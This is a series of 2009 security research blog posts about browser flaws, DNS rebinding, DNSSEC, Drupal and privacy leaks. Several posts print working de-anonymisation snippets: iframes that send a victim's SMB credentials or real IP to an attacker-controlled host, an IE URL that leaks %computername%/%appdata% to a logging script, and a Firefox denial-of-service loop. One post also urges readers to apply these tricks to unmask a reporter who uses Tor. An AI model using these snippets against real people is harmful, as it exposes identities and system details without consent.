Either I’m just blind or I never actually got into the nitty gritty of testing DNS pinning in Mozilla’s Firefox, but I never realized until today that Firefox doesn’t actually pin DNS at all. I guess you learn something new every day. For a project un-related to security, a customer needed to fail over to another domain, and they wanted to know how quickly they could do that without necessarily taking their primary site offline in the process. So we started doing some tests. Internet Explorer pins DNS for 30 minutes it looks like. Still short in my mind, but according to the documentation I could find that’s because 24 hours or more broke a lot of things (I’m imagining things like Dyndns and so on.)

All the documentation I could find online was erroneous and said that Firefox rebound DNS in one minute. In reality Firefox rebound DNS as fast as the DNS time to live expired. We got it to switch DNS within one second. Meaning there was no need for that trick where you close down the port or firewall off the client IP address or anything similar. Nope, all you need to do is turn down the TTL and you’ve got yourself a DNS rebinding scenario. Seems really surprising to me and makes the whole attack way easier on Mozilla since now all you need is access to DNS and a web server to make it work (no access to anything else required). I don’t know why I thought DNS pinning existed in Mozilla’s browser. Has something changed? Can someone verify?

Whitehouse Drupal and The Open Source Security Model

Posted: October 25th, 2009, 11:34am CDT by RSnake

Tags: Webappsec [edit]

Update: Apparently people don’t understand the difference between COTS and Bespoke proprietary. Commercial Off the Shelf is no better than open source for this argument, but I’m not talking about that. I’m talking about proprietary software that is only available to the Whitehouse staff and they are the only ones with access to source. Hopefully that clears up people’s ire.

Have you heard the news? The Whitehouse has decided to go open source. They have decided to switch from their own proprietary in-house CMS system to Drupal. You heard me right, Drupal. The same Drupal with 12 pages of vulnerabilities at OSVDB since it’s inception. I’m sure this made the Open Source community jump for joy, but I see this as a big mistake if you take it on face value and I’ll get back to that in a minute.

According to Dries Buytaert, “…this is a clear sign that governments realize that Open Source does not pose additional risks compared to proprietary software…” This is a complete fallacy. More than that, it’s a dangerous that non-security people are touting their knowledge of security as if it’s fact. Look, if you were talking about vulnerabilities per line of code or something, I may get on board with that statement, but that’s just not how the real world works. There is one very massive difference between open source and proprietary coded applications. I can pen-test Drupal all day long without sending a single packet to Whitehouse.gov. Further, if I’m a foreign government I can hire a small army of pen-testers for pennies on the dollar who can try every single attack known to man against every known Drupal configuration without setting off a single IDS alert at the Whitehouse SOC.

Now, like I said, I see this as a huge mistake, but only if you take it on face value - that means that if the Whitehouse is installing the same Drupal install that you yourself could download and run on your own machine with no tweaks or changes whatsoever, then yes, that’s just foolish. But there’s almost no way that’s true. Like ha.ckers.org they most likely chopped it up, removed all the unnecessary functionality, stripped it down to bare bones, locked the server up so tight it would be impossible to even upgrade it without an act of Congress and on and on… And if you think they’re going to blindly upgrade with every new update that Drupal.org puts out - well I have an EV cert I’d like to sell you. And how is a locked down highly customized variant of Drupal different than a proprietary solution? So don’t jump for joy too quickly, this is either a marketing ploy or it’s going to end badly for National Security. Either way.

Cyborg CAPTCHA Breaking

Posted: October 22nd, 2009, 5:50pm CDT by RSnake

Tags: Webappsec [edit]

I normally steer very clear from articles like this, but I was totally fascinated when I heard this. Both rat neurons and human neurons were used to steer a robotic car. They did so completely without computer or human intervention. They literally “thought” about what they wanted to do to complete a task. Interesting take on a Cyborg - don’t start with a human and tear it down and replace it’s extremities with mechanical parts, start with a machine and introduce a blank slate of a human brain tissue. Now, that’s amazing in it’s own right. But where are the applications for us in security? The first thing I thought of was a super advanced system for anomaly detection, but honestly, computers are far better at processing large data sets than people are. Plus brain-masses (for lack of a better term) lack knowledge and experience, so it would take years for them to even understand what they were looking at, let alone be better than a true human analyst. However, there is one thing that struck me as something that people mostly would agree humans should be better at than computers - CAPTCHA breaking.

Image analysis in general - yes, it’s possible, but CAPTCHAs should be easy. Just like a child, you’d have to teach it the alphabet, colors, lines, shapes, and all the basics. Then you’ve have to give it a reward system so it wouldn’t fatigue (read the Terminal Man if you want to see why that part is potentially dangerously problematic). But assuming you can get all that done, there is no reason a human brain-mass shouldn’t be able to solve CAPTCHAs just like a human would. You wouldn’t need a head on it, or really anything else. You could have multi-core human brain-mass computers all shoved into a rack. Just need a way to feed them and you’ve got yourself the most effective human analog CAPTCHA breaking system ever built. Scary and morbid, but extremely effective against all fluctuations in CAPTCHA design, assuming they were taught the parameters.

So what is exactly the definition of a CAPTCHA? I’ve harped on this before. But let’s think about it. What exactly is the measure of a human? Is it cognitive abilities? Then are mentally retarded people no longer considered people? Is it a physical body part? Then are people who have had limbs removed no longer human? What exactly are we trying to measure with a CAPTCHA if indeed the truest definition of such a thing could exist? I think what we are attempting to ascertain most of the time is intent. And with a human brain-mass anti-CAPTCHA system, that would no longer be something we could do. The only thing what we currently think of as CAPTCHAs would still be effective at is increasing the cost of spam. Of course this is all science fiction and riddled with problems, not the least of which is expense. But there are unfathomable military applications for such things, where expense is no longer an obstacle. Skynet may be coming, but it might not be a computer - it might be human brain-mass. Scary.

Google Voice and URL Obfuscation No Nos

Posted: October 19th, 2009, 5:46pm CDT by RSnake

Tags: Webappsec [edit]

I was sent this URL from Engadget about Google Voice URLs being visible within Google Search. I see this kind of thing happen all the time. When you think that your URL is secure because you’re the only one who knows it, you are treading down a very scary path. At minimum combine URL obfuscation with some user level credential to ensure the person is really in control of that account. This is literally security 101.

I’ve always been a fan of obfuscation personally - people who think it doesn’t work fail to see that things like passwords are themselves obfuscation. It’s just about the fact that obfuscation only works as long as you’re the only one who knows it. As soon as you publish that information on the web, it’s just a matter of time before it goes bad - and in Google’s case, time is usually months. Chalk this up to another bad design decision. Way to go cloud!

Permalink for 'ha.ckers.org_web_application_security_lab/2009/10/15/DNSSEC___Certs_As_a_Replacement_For_SSL%e2%80%99s_Transport_Security'

DNSSEC + Certs As a Replacement For SSL’s Transport Security

Posted: October 15th, 2009, 11:22am CDT by RSnake

Tags: Webappsec [edit]

I was talking with id last night, and then shopped this idea around to a couple local OWASP guys, but now I think it’s baked enough to talk about publicly. I make no bones about the fact that I think SSL is almost entirely worthless against a determined attacker who has man in the middle access and is intent on doing harm, and not just passively listening. Passively listening is limited to people who can get access to a valid cert (through MD2/MD5 collisions, through being a CA or hacking a CA, etc… all of which have been proven possible). That’s bad enough, but put into that that the visual cues tell you nothing about site authenticity (leaving EV certs out of this for the time being) and you’re left with a nearly completely broken security mechanism in the browser. You can debate this fact all you like, but what if I don’t care about site authenticity, I just want to do transport security?

An idea we began toying around with is using DNSSEC. Like DKIM, you can put public certs into DNS records that can be queried by any mechanism that wants to use that. By making a change to the way browsers work to look at the DNS record via DNSSEC a few things become possible. Firstly, you can be assured that you are talking to the correct IP address after the negotiation is complete. That is because the DNS record cannot be spoofed (thanks to DNSSEC) and the certificate can prove that the IP you are talking to is really in control because it can verify that it is the owner of the public key. But wait - there’s more!

SSL certs cost money - but that’s because the CA’s infrastructure needs to be supported. In this model, there is no additional weight on any central authority, outside of DNS itself. So you could theoretically kiss the need for expensive certificates goodbye (sorry CA’s your time may have come!). This obviously couldn’t replace SSL certs in day one, or maybe not even for many years, but for internal applications or for when I want to allow all you readers to ensure you are talking to this server, and not another one, that suddenly becomes possible. It also becomes possible for people in 3rd world countries who cannot afford costly certificates to be able to gain transport security in the browser.

Now you’re probably saying - how is this different than a self signed cert. Well, leaving out of it that the CAs are vulnerable, there are dozens of them that can create certs to MITM you - of foreign origins and that they suffer from collisions… there’s still one major difference. The browser intentionally throws a warning with self signed certs, and even if it didn’t I still can’t verify that it’s my self signed cert and not someone else’s without a significant amount of burden placed on the user.

So now you’re probably saying, there are two single points of failure introduced here - the DNS server and the DNSSEC service itself. Why place additional security burdens on the end user? Well, I’d argue that if DNSSEC is broken, we have a much much bigger problem on our hands than we do than if a CA gets broken into even. If we can secure a CA we should be able to secure a DNSSEC service. I’m not worried about that one nearly as much as I am the individual DNS servers themselves. However, remember that their company already relies on DNS. Let’s say they use Godaddy and rely on them to be primary NS. We’ve already been relying on them to provide lookup security for years. The only difference is now they’re using DNSSEC and now we entrust them with the security of the transport.

The reason I like the idea is that it gives the domain the option to choose - pay for an SSL cert that can be MITM’d or get a free DNSSEC domain cert that can’t. I can’t stop someone from trying to make money off this idea and selling EV DNSSEC domain certs, but I see no reason we can’t make a non extended version completely free to all. Consider this a preliminary RFC - flame away!

CSS History Hack Used To Ban Torrent Users

Posted: October 8th, 2009, 8:03pm CDT by RSnake

Tags: Webappsec [edit]

Back from a very long four weeks of nearly constant travel. SecTor was great, and definitely one of those high quality cons I’ll be returning to. I was really impressed. But anyway, I ran across an interesting thread today as I was perusing my logs. Users have been being banned for using certain Trackers if they are seen having come from certain sites. This is the first time I have seen the CSS history hack actually used in a production environment.

We’ve often talked about the implications of using the CSS History hack for tracking purposes, but this is another take - banning users. It will be interesting to see how this evolves over time. The other interesting implication here is that CSRF DoS is an amusing way to abuse the trust in a client side script. I wonder if the trackers are smart enough to whitelist their own IPs from that script!

What Star Trek Predicts About The Future of Information Security

Posted: September 18th, 2009, 10:00pm CDT by RSnake

Tags: Webappsec [edit]

I had a funny thought while talking with some folks from Intel about what the future state of of information security would look like and how that relates to what our favorite nerdy show, Star Trek, has to say on the topic. This is meant to be a funny post, but there may be some truth buried in here somewhere too. Without further ado:

Physical security will always be a problem: How many times have we seen people open up random access panels on the Enterprise and start pulling out chips when something goes awry or just start swapping them out right and left? Crawling through tubes to get past obstacles and the like… all point to the fact that even the most sophisticated military war machine of the future won’t stop some teen aged acting ensign in engineering from taking over control of the whole ship in about 35 seconds.

Organizations will focus on secure transport and network security and will still ignore drive encryption and the insider threat: I don’t really recall any times where enemies were able to intercept any meaningful communications between the Enterprise and other federation ships. That must mean they are using TLS16/SSL34.0 in the future, which is good, but for some reason any schmuck diplomat from some third world (pun intended) alien race can get any information out of the computer he wants without ever even supplying a password!

PCI doesn’t stop hackers, now or ever: They don’t use money in the future. Probably because consumers are so sick of having their credit cards stolen is my guess. I’m also guessing based on how many holes still exist; SQL injection still exists even hundreds of years in the future. So currency, and therefore the payment industry had to go. Even Quark trades in gold-pressed latinum - you don’t see the Ferengi taking plastic.

Biba and Bell La-Padula security models will always be a good idea, but will still never be properly implemented: Seriously, the federation is pretty lax in their whole openness. I mean, should you really let people on your ship, carrying weapons, with no or minimal escort and allow them to use your computers, write to them, copy information off of them and so on? Balancing the prime directive and giving some industrial revolution era alien species access to a computer with the engine schematics to the warp core of the most advanced war ship in the fleet sorta seems a little out of whack. Maybe that’s what they get for not having money in the future - no one’s worried about losing their job.

The singularity is a non-event and will end up being a wash for security: I mean, Data is pretty cool, but he is really more than a oddity in the show. Sure, he’s saved the Enterprise a number of times, but he’s also pretty darned hackable in the future too. He’s been compromised more than most of the other people on the show combined. This is not a good outlook. Why they didn’t bother to root-kit him, I’ll never know. But if Data is the tipping point of a potential Skynet, I’m not too worried - he plays violin and he owns a cat.

Individuals will almost completely give up on the idea of protecting their privacy: Everyone on the Enterprise is pretty happy with the idea of carrying around RFID chips on their badges all the time, even when they’re off duty and getting some R&R and T&A on Risa.

Organizations will always ignore single points of failure, even after it bites them in the ass: I can’t even tell you how many times the Enterprise has managed to damage the one and only di-lithium crystal that they have on the whole ship. They know they can’t whip up a new one with the replicators but they still don’t carry even one spare. Then they end up being stranded or having to use the sensor array to catch radiation from some exploding sun or some other retarded plan that always manages to work out exactly perfectly, but always necessitates near death experiences in the process. Why, for all that’s holy, wouldn’t you just bite the bullet and pay to have two on board? Yes, I’m talking to you, Jean-Luk and you too Mr. CISO.

The iterative development model will be proven bad for security and quality exactly 1,000,000 times but will still be used in production anyway: How many times have we seen engineering making changes to the warp core while they are 200 light years from any star base or any other craft for that matter? And how many times has that gone smoothly again? No, it’s a bad idea now, and it will always be a bad idea. But then again, maybe you shouldn’t worry so much about keeping your data and integrity intact… it always manages to get fixed in an hour or so anyway, right?

Biometrics will always be used as a backup to password authentication - but both still suck: Sure, voice print recognition has been used a few times, as has hand scanners and even an iris check a few times. But the vast majority of times someone has entered in a password on the show (which incidentally is almost never - giving you an idea about how lax security will be in the future) it has been by saying it out loud. Hackers must be pretty un-inventive in the future because I’m guessing digital voice recorders are pretty easy to get your hands on.

Virtualization security is an oxymoron - even in the distant future: I mean, really, how many times has the whole damned ship been taken over by some overzealous holodeck character? Whoever wrote the holodeck hypervisor really needs to be put in a room with Worf for a few hours so he can explain with his batleth what the need for true physical and logical isolation is. Why some Sherlock Holmes character should have access to main memory, I’ll never know. Too bad we aren’t smart enough in the distant future to think about hardware isolation instead of relying exclusively on dangerously faulty software.

And with that, I’ll let you go back to your regular scheduled programming.

Half a Million HTTP Headers

Posted: September 11th, 2009, 12:23pm CDT by RSnake

Tags: Webappsec [edit]

Over the last few months I’ve accumulated a half a million HTTP headers. It obviously contains a lot of garbage, but it’s still fun to toy with in aggregate. Of course there are lots of hackers in there - because it’s totally unstructured data. It’s some of the worst organized content I’ve ever seen, but it’s still fun to mess with.

If anyone’s interested, I threw it up on my other blog. A half a million HTTP headers might sound like a lot, but really, a lot of it is duplicated data. For instance search engine spiders, or RSS readers are going to look the same every time. But still, I thought it was interesting, just to look at.

Email Obfuscation and Spam Robots

Posted: September 8th, 2009, 2:21pm CDT by RSnake

Tags: Webappsec [edit]

I’ve long been interested in spam and robots that scrape for email addresses. I’ve done tons of work in the space, although I’ve never published any of it. Call it more of a side hobby than anything I really want to go public with - as it is with a lot of my research. But anyway, today I was messing around with search engines and I found myself typing “at gmail dot com” into them for no apparent reason and poof, out popped a ton of valid although obfuscated email addresses. Aside from the raw text here’s a sampling of the different types:

…<at>gmail<dot>com
…(at) gmail (dot) com
… at-gmail-dot-com
… {at} {gmail} {dot} {com}
… [at] gmail [dot] com
… “at” gmail “dot” com
… at-gmail-dot-com-for.info
etc…

I think it would be interesting to create a generic algorithm for de-obfuscating email addresses of this nature. I’m sure it can be done to some degree, but some get more complicated, and I’m sure once you add in the variants of the username it gets even more complex. Even if you could get only 80% that would still be quite a feat. Still though, I have a feeling it wouldn’t take much effort to create a robot that made quick work of all those obfuscated email addresses. Of course, the benefit to a spammer in spamming people who proactively try to protect themselves from spam is questionable, but it’s still interesting.

Google Safe-Browsing and Chrome Privacy Leak

Posted: August 24th, 2009, 11:09am CDT by RSnake

Tags: Webappsec [edit]

One of the other things Jabra and I talked about that worried a lot of people was the fact that Google’s Safe Browsing software (built into Firefox and Chrome) could be used to track them. Safe Browsing is designed to protect you from phishing and malware sites by using a blacklist approach that gets downloaded to your browser on a regular basis. In an experiment that I let run for 24 hours, I watched the amount of connections Firefox made out to Google. It averaged around 30 times an hour. It was more like 12 times and then 30 minutes later there would be 18 more and so on. So it wasn’t precise. Also, it may not have been a completely valid experiment because I may not have had the whole list in place since I never use Safe Browsing. The browser may have been trying to download the whole thing, which is why it was sending so much traffic. That said, it still sends an awful lot of traffic, from what I saw.

Now, that may not be so bad, except that it also gets a cookie with a unique crypto string that it sends back to the Google on each request so that Google can send it back a portion of the encrypted anti-phishing/anti-malware lists. That cookie though, is the problem. The cookie is unique per browser. So let’s say an attacker has been using their browser for a while, and then an attacker hops on a wireless network a few miles away to do their hacking. The cookie is still phoning home to Google periodically. So if the company they’re hacking into gets the Feds to issue a warrant/court-order, Google can theoretically track the attacker back to their original IP address not just the one of the wireless. They do this by correlating the IP that attacked the company back to Google, seeing which cookie was used by that IP during that time frame and then looking at what other IP addresses that cookie used. So it becomes critical for an attacker to blow the cookie away not only when starting their new network connection with the wireless, but also when they tear it down again before starting a new one, if they want to remain anonymous.

Now, I could probably be convinced by people who claimed that this was just a side effect of how it is supposed to work. Sure, when you travel to Google again it is sending the same cookie, but it’s easier to use Google.com instead of safebrowsingbygoogle.com or something that wouldn’t have the additional privacy issues associated with sending this cookie when just normally using Google’s website. They already have google.com set up with load balancing and all the other snazzy stuff. Sure, I could believe all that. But here’s where I have a hard time believing it’s not for tracking.

When I started looking at Chrome I noticed two additional pieces of information that were being phoned home outside of Safe Browsing. This time, instead of it being 30 times an hour, it was more like once every 5 hours, which is still quite a bit if you ask me. The two extra pieces of data were “machineid” and “userid” - both computed information based on machine/user information. This information is sent along with a bunch of other browser information to ask Google if they should download an update. Now here’s the real question: why would Google need to know my machineid and userid to give me an update - wouldn’t the version number of my browser be enough to make that decision? I just can’t believe this isn’t used for tracking. There’s no more plausible deniability. What a perfect way to spy on people too… use their own browser against them in the name of security.

Anyway, Safe Browsing is a great feature since it protects you from phishing and malware sites. It’s too bad it comes with the baggage of anti-privacy. It doesn’t matter if Google’s privacy policy says they don’t use this information in this way or that way. In the face of a court order all that policy hand waving is irrelevant. They have the right/responsibility and ability to track you and any anyone else who uses their products if they are told to by a court of law. Now the international implications of this are unknown to me, because I am definitely not an international lawyer, but I would suggest that legal systems work differently in China and elsewhere in the world, where Google also does business. All I can say is that this extra feature of their technology makes my skin crawl. Incidentally if you want to turn it off in Firefox go to Tools->Options->Security and uncheck both “Block reported attack sites” and “Block reported web forgeries.” I don’t think there’s a way to turn off sending your machine or userid from within Google Chrome. So my advice for Google Chrome is: don’t use it.

Find Evan Ratliff Win $5000

Posted: August 20th, 2009, 9:50am CDT by RSnake

Tags: Webappsec [edit]

I was sent this article today on finding Evan Ratliff. He’s a reporter that wants to be found. Kind of a cool gimmick, and something normally I’d probably get involved with, but there’s just one problem - he’s probably in San Francisco or surrounding areas, and I’m definitely not. So if you happen to be in SF there’s a number of tricks that I’ve just talked about that you can use.

Firstly, you know he’s using Tor and is accessing twitter, social networking and email, so the several de-cloaking methods we’ve talked about will probably come in handy here, like itms and smb. There are lots of others too, but you get the idea. Depending on the type of Tor application he’s using and which browser, it will dramatically change how you’d get his real IP. For instance, Tor button is very good, while Tor Browser is not at protecting against all the JS trickery, since Tor Browser does nothing to actually stop client side technologies from working.

If you do happen to find him, please do some ultra-targeted advertising about his erectile issues, “Evan Ratliff, have trouble satisfying women…?” - because that would cause me to die laughing. Anyway, it’s a cool article, and good luck to you if you happen to want to participate!

itms Decloaking

Posted: August 19th, 2009, 11:43am CDT by RSnake

Tags: Webappsec [edit]

Another thing Jabra and I mentioned in the presentation actually dates back several months. HD Moore was talking about how someone (name is slipping my mind at the moment) had found some exploit using itms: protocol, used by iTunes, but part of it had to do with the fact that they needed to redirect off of Apple’s website to land on their payload. The redirect was eventually closed down, but it got me thinking and looking at iTunes. After about 20 minutes of looking I found a way to bypass itms’s limitations on which domain it allows you to connect to, which is a bug, but not a particularly serious one:

<iframe src="itms:www.apple.com:80@ha.ckers.org"></iframe>

So I handed it back to HD Moore and he added it as a feature to decloak a few months back. Why? Because it turns out that in specific circumstances it’s actually pretty good at decloaking people. If you are using Firefox and a proxy, it will go outside of the proxy model of the browser and use the underlying network settings of the operating system. So the first request will come from your proxy but the itms request will come from your real external IP. Add in some DNS foo to make the DNS request unique per person and you’ve got yourself a decloaking engine. You can see it on decloak if you want to take a look at it. And like before, if there is an exploit in itms where you need to include a payload into it off of Apple’s website, this is another way to do it.

I talked with Microsoft, Apple and Firefox about this and we had a very hard time talking about who owns this bug. Let’s say for a second Apple had no bug there, and it was working as intended. Who’s bug would it be? Apple for not following the proxy model? Firefox for not forcing the proxy model on all of it’s sub components OR for having it’s own unique proxy model? Or is it Microsoft who runs the entire operating system. I don’t think we ever came to a conclusion, but I’m more and more thinking it’s Firefox’s fault. They did go down the path of creating their own proxy model a long time ago (out of necessity). Now the question is, should they fix it? I for one would hate it if it got fixed. Sure, it’s horrible from a privacy perspective, but it’s great for usability. I’m constantly stuck on weird networks with weird proxy settings in the OS, and I need to get out for some reason. I think there are a lot of other people in the same boat too. So I doubt this is getting fixed any time soon.

This brought up one last conversation that I thought was worth sharing. The private browsing initiative that several browsers are undertaking at the moment really was never meant to protect users from this sort of privacy leak. It was intended to prevent wives from seeing what presents their husbands are buying them for their birthday. *cough* But maybe future versions should do a better job of this sort of privacy leaks - better integrate with Tor or something of that nature. I dunno, but it was an interesting conversation with the browser/OS/plugin guys.

SMB Decloaking

Posted: August 11th, 2009, 2:54pm CDT by RSnake

Tags: Webappsec [edit]

Still in line with the DefCon preso, next on the list of things I need to talk about is SMB. Yeah, I already talked about SMBenum, but that’s different - that is about knowing what you’ve got on your dive. SMB itself is a way for two computers to talk to one another. The simplest example is an iframe. Of course you need to have SMB running on both sides and they need to be able to communicate together for this to work. But the nice thing is if you’ve got Wireshark running you can get the real username, IP address, computer name, service pack and possibly other interesting tidbits.

<iframe src="file:///\123.123.123.123/"></iframe>

Of course for this to work several things have to be true. One, the above IP address needs to be modified to be the attacker’s computer. Two, the attacker needs to be running SMB services to listen and get the information. Three, the company where the victim is connecting from must allow outbound SMB - which I’m told is only about 50%. So 50% of people running 60% of browsers (an IE variant) will be vulnerable to this. Still not terrible and isn’t particularly noisy either and requires no user interaction, which is nice.

De-cloaking in IE7.0 Via Windows Variables

Posted: August 10th, 2009, 10:19am CDT by RSnake

Tags: Webappsec [edit]

Update: Tyler Reguly told me that you actually can get this working in IE8.0 but it needs to be part of a path. So I updated the example below so that it works in both.

One of the things Josh and I talked about during our preso was a way to get people to disclose their usernames and their machine names using a simple URL. Well, it turns out that in IE7.0 if you cut and paste things with a %…% in them it translates to a OS variable. So if you include something like %computername% or %appdata% or the like you’ll end up with machine names and full paths to the user’s home directory. That can be super helpful for de-cloaking. Please note this only works in Internet Explorer. Here’s an example:

http://ha.ckers.org/log.cgi/rAnd0mcr4p%aPpdAta%2hide%coMpuTeRnaME%th3v4rz

If you cut and paste that it will be translated on the fly before it is sent. So how you’d use this is either just like you see above - a URL that must be cut and pasted to be used or something like a broken link that is clearly easily re-constructed just by changing one letter or removing a space or something. I never did find a way to automatically get this to fire. I tried in CSS, images, iframes, frames, word docs, PDFs, and on and on. If someone figures out a way to make it automatically fire without user interaction that would make this a lot more useful. Either way, it seemed worthy of a post.

SMBEnum

Posted: August 9th, 2009, 1:12pm CDT by RSnake

Tags: Webappsec [edit]

I’m going to do a small series of posts about a bunch of the topics Jabra and I covered in our presentation on Sunday at DefCon, since we had a ton to cover and a lot of it probably deserves to have a permanent home on the web where people can look at it and talk about it if need be. Also slide-deck form probably isn’t good enough. Anyway, one of the things we discussed was a way to enumerate certain types of files on Windows from within Internet Explorer. This is almost exactly the same issue as the Gregory R. Panakkal’s sysimage disclosure from 2004, for those of you who remember your browser history. Except this variant does not use sysimage, but SMB.

If you’ve got Internet Explorer you can check out an example here. Jabra has since ported it into Wade’s BeEF as well. This isn’t extremely good at enumerating the entire system because it can only find images, CSS, JavaScript and the like. Other types of files don’t have cross zone information leakage - or no well known way to do that anyway. The point being you can get somewhat granular, and then use another more granular method like David Byrne’s res timing attack or my version without JavaScript to get non-image file detection. You can’t reliably use res timing for much though because it’s too slow. But by combining the two an attacker can pretty quickly enumerate programs on a system. Why is that useful? Well the attacker can launch highly targeted attacks once you know the user has certain programs installed.

Anyway, it’s my opinion that if sysimage needed to be fixed SMBenum too needs to be fixed since they provide virtually the same insights into a computer, using the same basic technique. Either way, it seemed bad enough to me that I thought it was worth writing up a tool to do it. You’ll note that it works differently on different systems, and there may be a way to optimize it, but I didn’t bother. There’s also a lot of images associated with lots of programs that I didn’t add in, but you get the basic idea.

Quicky Firefox DoS

Posted: July 27th, 2009, 5:43pm CDT by RSnake

Tags: Webappsec [edit]

Well, it turns out I am speaking at Blackhat after all - plus I have an OWASP preso to do tomorrow. That makes five presos in 6 days. Shoot me now. Anyway, I was playing around with Firefox today and accidentally found a super tiny DoS for Firefox that reminded me of my childhood. Remember that math puzzle where you put one penny on one square and then two on the next and four on the next and so on? Clearly that would amount to more money than you could realistically have when you really think through it, but kids have a hard time wrapping their heads around it. This is sort of similar, except it’s not geometric, it’s linear, which was surprising that it caused Firefox so much pain. I had just assumed the JS engine in Firefox would have said that it’s running too tight of a loop and throw the “running too slow” prompt at worst - or just finish at best since it doesn’t look all that complicated:

var a;
for(i=0;i<65536;i++){
document.write(a+=String.fromCharCode(i));
}

I let this run for 10 minutes on a decent sized test machine and it never finished - I had to kill the process. Yeah, I know there are a million ways to DoS browsers, this one was just surprising because I honestly didn’t think it could. Anyway, if I don’t post before then, see you in Vegas!

wget DNS-rebinding and Weak Intranet Port Scanning

Posted: July 21st, 2009, 2:14pm CDT by RSnake

Tags: Webappsec [edit]

For my upcoming speech at DefCon on Friday of next week I was testing a server that happens to not be open on a port that you’d expect it to be. That same server also uses load balancing via DNS so it has a ton of different IP space that it points to. So I wanted to check to see if that port was open on any of the servers that were connected to it. I used wget to do this. It looked something like this:

$ wget –server-response –timeout=3 https://somesite.com/
–2009-07-21 13:58:32– https://somesite.com/
Resolving somesite.com… 1.1.1.1, 2.2.2.2, 3.3.3.3, …
Connecting to somesite.com|1.1.1.1|:443… failed: Connection timed out.
Connecting to somesite.com|2.2.2.2|:443… failed: Connection timed out.
Connecting to somesite.com|3.3.3.3|:443… failed: Connection timed out.
Connecting to somesite.com|4.4.4.4|:443… failed: Connection timed out.
Connecting to somesite.com|5.5.5.5|:443… failed: Connection timed out.
Connecting to somesite.com|6.6.6.6|:443… failed: Connection timed out.
Connecting to somesite.com|7.7.7.7|:443… failed: Connection timed out.
Connecting to somesite.com|8.8.8.8|:443… failed: Connection timed out.
Connecting to somesite.com|9.9.9.9|:443… failed: Connection timed out.
Connecting to somesite.com|10.10.10.10.|:443… failed: Connection timed out.
Connecting to somesite.com|11.11.11.11|:443… failed: Connection timed out.
Retrying.

…

So you can see that if it can’t find the first IP address in your list of IPs that you provide in the DNS it’ll try the second, if that’s also unreachable then it’ll try the third and so on. This means that if you can detect that someone is using wget on you you can essentially rebind their IP address to something else, assuming you have the other IP address that you want to rebind them to listed. So you can rebind them to Google or something and have them spin forever trying to download the Internet or something else just as dumb. Or you can point them to their own internal IPs…

That means that there is a second and much more weak attack there as well. Let’s say I had a list of DNS entries like 1.1.1.1, 192.168.0.1, 1.1.1.1, 192.168.1.1, 1.1.1.1, 10.0.0.1, 1.1.1.1, …. where it alternated back and forth between my domain (1.1.1.1) and internal RFC1918 address space. If it fails the first one it’ll try the second. If there’s a closed port there, it’ll miss that one and try the third (my IP again) and so on. I don’t have an open port but that doesn’t mean I can’t see the SYN packet coming in. In this way you can create a very weak intranet port scan, that will stop scanning as soon as it hits the very first successful IP address internally. So it’s almost useless as an attack. But still - really? Why does wget of all things need to be vulnerable? What’s next? Heap spraying in lynx?!

Hash Information Disclosure Via Collisions - The Hard Way

Posted: July 13th, 2009, 5:44pm CDT by RSnake

Tags: Webappsec [edit]

Every once in a while I have those discussions with id about “what I would do if I were the NSA and had no mission to accomplish.” It could also be called the overgrown “boys with toys” conversation. It typically goes off on tangents where we abuse system resources for entirely impractical applications, and this is no different. Today we started talking about the PS3 collisions stuff. Cool indeed. But what if we wanted to use something entirely unrelated to find something that’s barely worth knowing? Ahh, that’s where gigantic rainbow tables comes into play.

Every hashing algorithm has possible collisions once you allow a certain number of chars to be hashed. Let’s say you found out that “bob” and “sam” collided in whatever hashing algorithm. If you created an account on a web server with the password of “bob” and then later typed in the password of “sam” assuming no salts you would be able to get into the system. That’s not all that interesting because you could get into your own account anyway. The vaguely more interesting fact is that you now know what hashing algorithm is being used. Rinse and repeat for every salt (random set of chars preceding, after, or XOR’d typically), every password rule variant (must have upper case, or must have special chars, etc…) and every hashing algorithm (MD5, SHA1, SHA256, double hashed because people think they’re being super clever, etc…) and you have an extremely overkill way to get a very small amount of information disclosure. Yes, what a waste of taxpayer money!

The slightly less impractical implication of this is if you already had some collisions that you could use for this purpose you could attempt certain types of brute force against passwords that matched on the backend but were in fact different passwords when applied to a blacklist of typed passwords. Also, you could use these kinds of tricks for other sorts of database collisions where a primary key is a hash of some known data. What a complete waste of resources that are best used for far more interesting tasks, if you ask me. But hey - it’s possible.

Running JavaScript in Chrome Despite View-Source

Posted: July 10th, 2009, 3:54pm CDT by RSnake

Tags: Webappsec [edit]

Yeah, I know, I’m very late to the rush of installing the way over-hyped and extremely poorly named, Chrome browser. For those who aren’t in the know, it’s sort of like naming a car “Engine”. Ignorant person says, “I’ve got an Engine.” Smart person says, “I know, I have an Engine too. Everyone who has a car does.” Ignorant person says, “Really? I thought they just came out.” Smart person says, “Wait, are you talking about the car, Engine.” Ignorant person says, “Yes, of course I am.” So people who actually know what chrome is have to deal with ignorant people that think we’re talking about Google’s attempt at installing more crap on people’s desktop and confusingly misinterpret when guys like us are talking about chrome versus Chrome. Gah!

Anyway, despite that idiocy which I am sure will haunt me for many many years to come, I was going through looking at some old functionality that I haven’t toyed with in a while and I noticed something odd almost immediately. Google Chrome appears to allow JavaScript to fire despite the fact that you are viewing source through the view-source: directive. Click here for an example (only works in Chrome with JavaScript enabled). This doesn’t work in IE, Firefox, Safari, or Opera - yup, it’s a Chrome only problem. Why is this a problem? Because some security people use view-source: to neuter the danger of pages that they think are potentially malicious - so that they can safely view the page without any JavaScript firing - alas, so much for that idea - at least in Chrome.

Sample DNS Rebinding Code

Posted: July 6th, 2009, 2:18pm CDT by RSnake

Tags: Webappsec [edit]

I’ve been toying around a little with DNS rebinding code lately, with some mixed results. Firstly, Java fixed their DNS rebinding issues (although it is my opinion they are still vulnerable, just in a different way - I talked with Dan Kaminsky about this and he agrees. Also CUPS fixed their DNS rebinding issues as well. All good things. However, there’s still tons of exploits left to find in this arena.

Anyway, I went hunting for some good sample DNS rebinding server code, and I couldn’t find anything that was remotely good or easy to work with in a test environment. So I whipped up some sample code quickly for anyone interested in doing their own research. You can download the code here. Of course you’ll need some JavaScript/Java/Flash/etc… code to make the browser call the server twice, and you’ll need something to shut the port down after the initial call is made to force the browser to make the second DNS request, but I thought it was better to leave that part as an experiment for the user, since that code will probably vary a lot depending on the server environment.

CSRF And Ignoring Basic/Digest Auth

Posted: June 30th, 2009, 2:51pm CDT by RSnake

Tags: Webappsec [edit]

